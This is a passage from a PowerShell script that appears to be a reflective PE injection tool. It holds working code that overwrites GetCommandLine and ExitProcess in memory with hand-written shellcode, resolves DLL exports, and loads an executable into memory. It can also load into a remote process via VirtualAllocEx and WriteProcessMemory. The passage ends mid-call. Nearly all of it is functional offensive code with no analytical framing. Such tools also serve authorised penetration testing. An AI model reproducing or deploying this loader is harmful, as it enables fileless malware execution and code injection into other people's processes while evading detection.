| { 1958 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) 1959 | $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) 1960 | [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) 1961 | 1962 | [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics 1963 | [UInt32]$SectionSize = $SectionHeader.VirtualSize 1964 | 1965 | [UInt32]$OldProtectFlag = 0 1966 | Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null 1967 | $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) 1968 | if ($Success -eq $false) 1969 | { 1970 | Throw "Unable to change memory protection" 1971 | } 1972 | } 1973 | } 1974 | 1975 | #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE 1976 | #Returns an object with addresses to copies of the bytes that were overwritten (and the count) 1977 | Function Update-ExeFunctions 1978 | { 1979 | Param( 1980 | [Parameter(Position = 0, Mandatory = $true)] 1981 | [System.Object] 1982 | $PEInfo, 1983 | 1984 | [Parameter(Position = 1, Mandatory = $true)] 1985 | [System.Object] 1986 | $Win32Functions, 1987 | 1988 | [Parameter(Position = 2, Mandatory = $true)] 1989 | [System.Object] 1990 | $Win32Constants, 1991 | 1992 | [Parameter(Position = 3, Mandatory = $true)] 1993 | [String] 1994 | $ExeArguments, 1995 | 1996 | [Parameter(Position = 4, Mandatory = $true)] 1997 | [IntPtr] 1998 | $ExeDoneBytePtr 1999 | ) 2000 | 2001 | #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. 2002 | $ReturnArray = @() 2003 | 2004 | $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) 2005 | [UInt32]$OldProtectFlag = 0 2006 | 2007 | [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") 2008 | if ($Kernel32Handle -eq [IntPtr]::Zero) 2009 | { 2010 | throw "Kernel32 handle null" 2011 | } 2012 | 2013 | [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") 2014 | if ($KernelBaseHandle -eq [IntPtr]::Zero) 2015 | { 2016 | throw "KernelBase handle null" 2017 | } 2018 | 2019 | ################################################# 2020 | #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. 2021 | # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. 2022 | $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) 2023 | $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) 2024 | 2025 | [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") 2026 | [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") 2027 | 2028 | if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) 2029 | { 2030 | throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)" 2031 | } 2032 | 2033 | #Prepare the shellcode 2034 | [Byte[]]$Shellcode1 = @() 2035 | if ($PtrSize -eq 8) 2036 | { 2037 | $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 2038 | } 2039 | $Shellcode1 += 0xb8 2040 | 2041 | [Byte[]]$Shellcode2 = @(0xc3) 2042 | $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length 2043 | 2044 | 2045 | #Make copy of GetCommandLineA and GetCommandLineW 2046 | $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) 2047 | $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) 2048 | $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null 2049 | $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null 2050 | $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) 2051 | $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) 2052 | 2053 | #Overwrite GetCommandLineA 2054 | [UInt32]$OldProtectFlag = 0 2055 | $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) 2056 | if ($Success = $false) 2057 | { 2058 | throw "Call to VirtualProtect failed" 2059 | } 2060 | 2061 | $GetCommandLineAAddrTemp = $GetCommandLineAAddr 2062 | Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp 2063 | $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) 2064 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) 2065 | $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize 2066 | Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp 2067 | 2068 | $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null 2069 | 2070 | 2071 | #Overwrite GetCommandLineW 2072 | [UInt32]$OldProtectFlag = 0 2073 | $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) 2074 | if ($Success = $false) 2075 | { 2076 | throw "Call to VirtualProtect failed" 2077 | } 2078 | 2079 | $GetCommandLineWAddrTemp = $GetCommandLineWAddr 2080 | Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp 2081 | $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) 2082 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) 2083 | $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize 2084 | Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp 2085 | 2086 | $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null 2087 | ################################################# 2088 | 2089 | 2090 | ################################################# 2091 | #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. 2092 | # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. 2093 | # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the 2094 | # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. 2095 | $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` 2096 | , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") 2097 | 2098 | foreach ($Dll in $DllList) 2099 | { 2100 | [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) 2101 | if ($DllHandle -ne [IntPtr]::Zero) 2102 | { 2103 | [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") 2104 | [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") 2105 | if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) 2106 | { 2107 | "Error, couldn't find _wcmdln or _acmdln" 2108 | } 2109 | 2110 | $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) 2111 | $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) 2112 | 2113 | #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state 2114 | $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) 2115 | $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) 2116 | $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) 2117 | $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) 2118 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) 2119 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) 2120 | $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) 2121 | $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) 2122 | 2123 | $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) 2124 | if ($Success = $false) 2125 | { 2126 | throw "Call to VirtualProtect failed" 2127 | } 2128 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) 2129 | $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null 2130 | 2131 | $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) 2132 | if ($Success = $false) 2133 | { 2134 | throw "Call to VirtualProtect failed" 2135 | } 2136 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) 2137 | $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null 2138 | } 2139 | } 2140 | ################################################# 2141 | 2142 | 2143 | ################################################# 2144 | #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. 2145 | 2146 | $ReturnArray = @() 2147 | $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process 2148 | 2149 | #CorExitProcess (compiled in to visual studio c++) 2150 | [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") 2151 | if ($MscoreeHandle -eq [IntPtr]::Zero) 2152 | { 2153 | throw "mscoree handle null" 2154 | } 2155 | [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") 2156 | if ($CorExitProcessAddr -eq [IntPtr]::Zero) 2157 | { 2158 | Throw "CorExitProcess address not found" 2159 | } 2160 | $ExitFunctions += $CorExitProcessAddr 2161 | 2162 | #ExitProcess (what non-managed programs use) 2163 | [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") 2164 | if ($ExitProcessAddr -eq [IntPtr]::Zero) 2165 | { 2166 | Throw "ExitProcess address not found" 2167 | } 2168 | $ExitFunctions += $ExitProcessAddr 2169 | 2170 | [UInt32]$OldProtectFlag = 0 2171 | foreach ($ProcExitFunctionAddr in $ExitFunctions) 2172 | { 2173 | $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr 2174 | #The following is the shellcode (Shellcode: ExitThread.asm): 2175 | #32bit shellcode 2176 | [Byte[]]$Shellcode1 = @(0xbb) 2177 | [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) 2178 | #64bit shellcode (Shellcode: ExitThread.asm) 2179 | if ($PtrSize -eq 8) 2180 | { 2181 | [Byte[]]$Shellcode1 = @(0x48, 0xbb) 2182 | [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) 2183 | } 2184 | [Byte[]]$Shellcode3 = @(0xff, 0xd3) 2185 | $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length 2186 | 2187 | [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") 2188 | if ($ExitThreadAddr -eq [IntPtr]::Zero) 2189 | { 2190 | Throw "ExitThread address not found" 2191 | } 2192 | 2193 | $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) 2194 | if ($Success -eq $false) 2195 | { 2196 | Throw "Call to VirtualProtect failed" 2197 | } 2198 | 2199 | #Make copy of original ExitProcess bytes 2200 | $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) 2201 | $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null 2202 | $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) 2203 | 2204 | #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then 2205 | # call ExitThread 2206 | Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp 2207 | $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) 2208 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) 2209 | $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize 2210 | Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp 2211 | $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) 2212 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) 2213 | $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize 2214 | Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp 2215 | 2216 | $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null 2217 | } 2218 | ################################################# 2219 | 2220 | Write-Output $ReturnArray 2221 | } 2222 | 2223 | 2224 | #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) 2225 | # It copies Count bytes from Source to Destination. 2226 | Function Copy-ArrayOfMemAddresses 2227 | { 2228 | Param( 2229 | [Parameter(Position = 0, Mandatory = $true)] 2230 | [Array[]] 2231 | $CopyInfo, 2232 | 2233 | [Parameter(Position = 1, Mandatory = $true)] 2234 | [System.Object] 2235 | $Win32Functions, 2236 | 2237 | [Parameter(Position = 2, Mandatory = $true)] 2238 | [System.Object] 2239 | $Win32Constants 2240 | ) 2241 | 2242 | [UInt32]$OldProtectFlag = 0 2243 | foreach ($Info in $CopyInfo) 2244 | { 2245 | $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) 2246 | if ($Success -eq $false) 2247 | { 2248 | Throw "Call to VirtualProtect failed" 2249 | } 2250 | 2251 | $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null 2252 | 2253 | $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null 2254 | } 2255 | } 2256 | 2257 | 2258 | ##################################### 2259 | ########## FUNCTIONS ########### 2260 | ##################################### 2261 | Function Get-MemoryProcAddress 2262 | { 2263 | Param( 2264 | [Parameter(Position = 0, Mandatory = $true)] 2265 | [IntPtr] 2266 | $PEHandle, 2267 | 2268 | [Parameter(Position = 1, Mandatory = $true)] 2269 | [String] 2270 | $FunctionName 2271 | ) 2272 | 2273 | $Win32Types = Get-Win32Types 2274 | $Win32Constants = Get-Win32Constants 2275 | $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants 2276 | 2277 | #Get the export table 2278 | if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) 2279 | { 2280 | return [IntPtr]::Zero 2281 | } 2282 | $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) 2283 | $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) 2284 | 2285 | for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) 2286 | { 2287 | #AddressOfNames is an array of pointers to strings of the names of the functions exported 2288 | $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) 2289 | $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) 2290 | $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) 2291 | 2292 | if ($Name -ceq $FunctionName) 2293 | { 2294 | #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions 2295 | # which contains the offset of the function in to the DLL 2296 | $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) 2297 | $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) 2298 | $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) 2299 | $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) 2300 | return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) 2301 | } 2302 | } 2303 | 2304 | return [IntPtr]::Zero 2305 | } 2306 | 2307 | 2308 | Function Invoke-MemoryLoadLibrary 2309 | { 2310 | Param( 2311 | [Parameter( Position = 0, Mandatory = $true )] 2312 | [Byte[]] 2313 | $PEBytes, 2314 | 2315 | [Parameter(Position = 1, Mandatory = $false)] 2316 | [String] 2317 | $ExeArgs, 2318 | 2319 | [Parameter(Position = 2, Mandatory = $false)] 2320 | [IntPtr] 2321 | $RemoteProcHandle, 2322 | 2323 | [Parameter(Position = 3)] 2324 | [Bool] 2325 | $ForceASLR = $false 2326 | ) 2327 | 2328 | $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) 2329 | 2330 | #Get Win32 constants and functions 2331 | $Win32Constants = Get-Win32Constants 2332 | $Win32Functions = Get-Win32Functions 2333 | $Win32Types = Get-Win32Types 2334 | 2335 | $RemoteLoading = $false 2336 | if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) 2337 | { 2338 | $RemoteLoading = $true 2339 | } 2340 | 2341 | #Get basic PE information 2342 | Write-Verbose "Getting basic PE information from the file" 2343 | $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types 2344 | $OriginalImageBase = $PEInfo.OriginalImageBase 2345 | $NXCompatible = $true 2346 | if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) 2347 | { 2348 | Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue 2349 | $NXCompatible = $false 2350 | } 2351 | 2352 | 2353 | #Verify that the PE and the current process are the same bits (32bit or 64bit) 2354 | $Process64Bit = $true 2355 | if ($RemoteLoading -eq $true) 2356 | { 2357 | $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") 2358 | $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") 2359 | if ($Result -eq [IntPtr]::Zero) 2360 | { 2361 | Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" 2362 | } 2363 | 2364 | [Bool]$Wow64Process = $false 2365 | $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) 2366 | if ($Success -eq $false) 2367 | { 2368 | Throw "Call to IsWow64Process failed" 2369 | } 2370 | 2371 | if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) 2372 | { 2373 | $Process64Bit = $false 2374 | } 2375 | 2376 | #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly 2377 | $PowerShell64Bit = $true 2378 | if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) 2379 | { 2380 | $PowerShell64Bit = $false 2381 | } 2382 | if ($PowerShell64Bit -ne $Process64Bit) 2383 | { 2384 | throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" 2385 | } 2386 | } 2387 | else 2388 | { 2389 | if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) 2390 | { 2391 | $Process64Bit = $false 2392 | } 2393 | } 2394 | if ($Process64Bit -ne $PEInfo.PE64Bit) 2395 | { 2396 | Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" 2397 | } 2398 | 2399 | 2400 | #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address 2401 | Write-Verbose "Allocating memory for the PE and write its headers to memory" 2402 | 2403 | #ASLR check 2404 | [IntPtr]$LoadAddr = [IntPtr]::Zero 2405 | $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE 2406 | if ((-not $ForceASLR) -and (-not $PESupportsASLR)) 2407 | { 2408 | Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue 2409 | [IntPtr]$LoadAddr = $OriginalImageBase 2410 | } 2411 | elseif ($ForceASLR -and (-not $PESupportsASLR)) 2412 | { 2413 | Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash." 2414 | } 2415 | 2416 | if ($ForceASLR -and $RemoteLoading) 2417 | { 2418 | Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop 2419 | } 2420 | if ($RemoteLoading -and (-not $PESupportsASLR)) 2421 | { 2422 | Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop 2423 | } 2424 | 2425 | $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell 2426 | $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. 2427 | if ($RemoteLoading -eq $true) 2428 | { 2429 | #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup 2430 | $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) 2431 | 2432 | #todo, error handling needs to delete this memory if an error happens along the way 2433 | $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) 2434 | if ($EffectivePEHandle -eq [IntPtr]::Zero) 2435 | { 2436 | Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" 2437 | } 2438 | } 2439 | else 2440 | { 2441 | if ($NXCompatible -eq $true) 2442 | { 2443 | $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) 2444 | } 2445 | else 2446 | { 2447 | $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) 2448 | } 2449 | $EffectivePEHandle = $PEHandle 2450 | } 2451 | 2452 | [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) 2453 | if ($PEHandle -eq [IntPtr]::Zero) 2454 | { 2455 | Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." 2456 | } 2457 | [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null 2458 | 2459 | 2460 | #Now that the PE is in memory, get more detailed information about it 2461 | Write-Verbose "Getting detailed PE information from the headers loaded in memory" 2462 | $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants 2463 | $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress 2464 | $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle 2465 | Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)" 2466 | 2467 | 2468 | #Copy each section from the PE in to memory 2469 | Write-Verbose "Copy PE sections in to memory" 2470 | Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types 2471 | 2472 | 2473 | #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded 2474 | Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" 2475 | Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types 2476 | 2477 | 2478 | #The PE we are in-memory loading has DLLs it needs, import those DLLs for it 2479 | Write-Verbose "Import DLL's needed by the PE we are loading" 2480 | if ($RemoteLoading -eq $true) 2481 | { 2482 | Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle 2483 | } 2484 | else 2485 | { 2486 | Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants 2487 | } 2488 | 2489 | 2490 | #Update the memory protection flags for all the memory just allocated 2491 | if ($RemoteLoading -eq $false) 2492 | { 2493 | if ($NXCompatible -eq $true) 2494 | { 2495 | Write-Verbose "Update memory protection flags" 2496 | Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types 2497 | } 2498 | else 2499 | { 2500 | Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" 2501 | } 2502 | } 2503 | else 2504 | { 2505 | Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" 2506 | } 2507 | 2508 | 2509 | #If remote loading, copy the DLL in to remote process memory 2510 | if ($RemoteLoading -eq $true) 2511 | { 2512 | [UInt32]$NumBytesWritten = 0 2513 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, 